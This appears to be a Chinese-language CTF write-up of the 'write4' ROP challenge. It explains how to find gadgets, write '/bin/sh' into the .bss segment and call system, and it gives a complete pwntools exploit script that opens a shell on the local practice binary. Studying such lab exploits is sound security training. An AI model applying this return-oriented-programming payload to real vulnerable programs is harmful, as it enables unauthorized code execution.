Write4

64位

我们照常来check一下保护

image.png

依旧是堆栈不可执行保护

然后为了防止最后忘记这一步,我们先爆个字符串大小先

image.png

爆出来的数字是40

然后去ida里看看 有没有system和’/bin/sh’

image.png

我们一看就能找到system啦!然后点进去看地址咯

image.png

然后就继续shift+fn+f12找字符串’/bin/sh’

image.png

我们只能找到一个和它很像的东西,但是很像也不是啊,所以我们要把’/bin/sh’写进bss段然后调用

image.png

我们找到的bss段的地址

然后我们找寄存器来存这些指令和数据(一个存bss段的地址一个存要写入的参

数(这里是’/bin/sh’))

image.png

然后我们选那个r14、r15的地址

然后还要去找mov的地址来给寄存器赋值的

image.png

然后我们找到有r14和r15的,[r14]是代表r14的地址,r15则是对应的值,假设r14地址为0x0401809,r15里的值是“abc”,则这个命令就是,让r14里的地址指向r15里的内容,即0x0401809->“abc”。

然后就可以构造脚本啦

#!/usr/bin/env python
from pwn import *

sh = process('./write4')

system = 0x04005E0
bss = 0x0601060
r14_r15 = 0x0400890
move = 0x0400820
rdi = 0x0400893
#rbp = 0x04006b0
mov = 0x0400820

payload = "a"*40+p64(r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov)+p64(rdi)+p64(bss)+p64(system)
#rdi->bss  
#gdb.attach(sh,"b *0x0400804")

sh.sendline(payload)

sh.interactive()

然后就可以getshell啦!

image.png

你可能感兴趣的:(Write4)